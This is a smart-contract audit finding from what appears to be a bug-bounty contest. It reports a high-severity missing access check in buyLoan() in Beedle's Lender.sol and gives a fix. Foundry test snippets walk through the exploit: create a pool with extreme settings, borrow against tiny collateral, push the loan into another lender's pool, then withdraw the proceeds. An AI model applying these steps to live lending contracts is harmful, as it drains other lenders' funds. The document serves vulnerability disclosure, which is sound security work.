20,000 USDC
View results
Submission Details
Severity: high
Valid

Anyone can buy loan with other lender's pool

Summary

Anyone can buy loan with other lender's pool by calling buyLoan() function in Lender.sol.

Vulnerability Details

It will lead for malicious lender to steal money from Lender.sol contract.

Malicious lender will create pool with very big maxLoanRatio and maximum interestRate.

vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 10000000*10**18, // as much as that lender1 has.
maxLoanRatio: type(uint256).max, // as much as possible
auctionLength: 1 days,
interestRate: 100000, // maximum interest rate
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);

He will borrow all poolBalance from his own pool with very small collateral using new address as a new borrower.

vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 10000000*10**18, // maximum pool balance
collateral: 1*10**18 // very small collateral
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);

After some time has passed, he will start auction as lender1, and he will find other pool with same loan token and collateral token and enough balance, (lets say its pool id is poolId1), and he will call buyLoan() function with that poolId1 as a new address(lender3). lender3 doesn't have any pool, but he can call buyLoan() function because there is no checking if msg.sender is same to pool's lender in buyLoan() function.

// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
vm.startPrank(lender3); lender3 is new address without pool.
lender.buyLoan(0, poolId1); // poolId1 is the new lender's pool has enough balance.

When calling buyLoan() function, his lenderInterest will be very much because he set maximum interest rate and his debit is very much as well, and so his poolBalance will increase tremendously.
https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L498-L502

_updatePoolBalance(
oldPoolId,
pools[oldPoolId].poolBalance + loan.debt + lenderInterest
);
pools[oldPoolId].outstandingLoans -= loan.debt;

After that, he will call removeFromPool() function from his own pool.

vm.startPrank(lender1);
lender.removeFromPool(poolId, loan.debt + lenderInterest)

He got loan.debt + lenderInterest more with very small collateral.

Impact

It will lead for malicious lender to steal money from Lender contract.

Tools Used

Foundry

Recommendations

Need to checking if msg.sender is same to pool's lender in buyLoan() function.

function buyLoan(uint256 loanId, bytes32 poolId) public {
// get the loan info
if (msg.sender != pools[poolId].lender)
revert Unauthorized();
...

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.